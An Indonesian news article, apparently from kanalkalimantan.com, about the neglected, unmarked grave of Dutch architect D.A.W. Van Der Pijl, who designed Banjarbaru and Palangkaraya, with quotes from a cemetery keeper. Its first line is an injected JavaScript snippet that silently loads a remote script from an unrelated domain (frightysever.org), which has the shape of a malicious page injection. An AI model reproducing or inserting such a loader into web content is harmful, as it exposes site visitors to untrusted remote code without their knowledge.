(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Makam arsitek Belanda yang telah merancang berbagai bangunan dan tata kota di Banjabaru, ternyata tempat peristirahatan terakhir Van Der Pijl jauh dari perhatian.
Mungkin masyarakat Banjarbaru mengenal nama Van Der Pijl adalah sebuah taman kota yang berada di pusat kota Banjarbaru. Tapi tahukah dimana letak makam seorang Van Der Pijl berada?
Ya, jauh dari keramaian kota, tempat peristirahat terakhir seorang sang arsitek Belanda itu berada di TPU Mekatani, Jalan A Yani Km 29, sebagian orang Banjarbaru terdahulu menyebutnya Pulau Beruang.
Memang sulit menemukan makamnya karena tak ada penanda kusus yang menandakan bahwa itu makam seorang pejuang di masa kemerdakaan RI dan orang yang punya jasa buat kota Banjarbaru dan Palangkaraya.
Terletak di salah satu petak di antara ratusan makam lainnya, sekitar 100 meter dari pintu gerbang TPU tersebut. Tidak seistimewa hasil karya dua kota hasil rancang bangunnya (Banjarbaru dan Palangkaraya), makam dengan luas sekitar 1 x 2 meter itu tidak memiliki ciri khusus dan sangat terlihat sederhana.
Banyak bangunan yang atas hasil Van Der Pijl yang masih masih menghiasi kota Banjarbaru, contohnya kantor Walikota Banjarbaru adalah hasil dari jerih payahnya.
Raif, salah satu penjaga TPU Mekatani yang telah bekerja sekitar lebih dari 3 tahun ini mengungkapkan, pernah ada anak Van Der Pijl bersama rombonga dari Prancis berkunjung ke makam ayahnya itu.
“Seingat saya 2016 lalu waktu itu dia dan rombongan datang dari Prancis sekitar 7 orang bersama pemandu datang untuk berkunjung ke makam itu,†kata Raif.
Raif menambahkan sudah tidak pernah lagi ada dari unsur pemerintah yang berkunjung atau sekedar melihat makam Van Der Pijl.
“Ada dulu anggota dewan, saya lupa namanya. Tapi waktu itu dia sangat sering berkunjung ke makam Van Der Pijl hanya saja beberapa tahun ini sudah terlihat lagi. Kalau dari pemerintah sekarang tidak pernah ada, sekalipun tidak,†ujarnya.
Raif beraharap setidaknya untuk seorang yang sangat berjasa bagi kota Banjarbaru paling tidak pemerintah menunjukan rasa terima kasih.
“Paling tidak makamnya diperhatikan, tidak seperti itu, meskipun dia orang Belanda tapi dia berjasa pada Banjarbaru, kasih lah keistimewaan sedikit kepada makamnya sebagai tanda di yang membangun Banjarbaru,†pungkasnya.
Ya, memang makam Van Der Pijl sangat sederhana, terbuat dari semen berbentuk kotak persegi dengan lapisan keramik putih, yang sudah tampak kecoklatan dan retak di beberapa bagian.
Nama sang penghuni makam, DAW Van Der Pijl yang terbuat dari semen pun nyaris tak terlihat. Catnya sudah terkikis dan terkelupas, pertanda sudah lama tidak diperbaharui.
Siapa sebenarnya Van Der Pijl?. Pada tahun 1950-an masa awal kemerdekaan Indonesia, Van Der Pijl adalah seorang arsitek yang selalu diandalkan oleh Gubernur Kalimantan pada saat itu Dr Murdjani.
Van der Pijl lahir di Belanda, 23 Januari 1901 dan meninggal dunia pada 27 September 1974. Beliau adalah seorang penganut agama katolik.
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.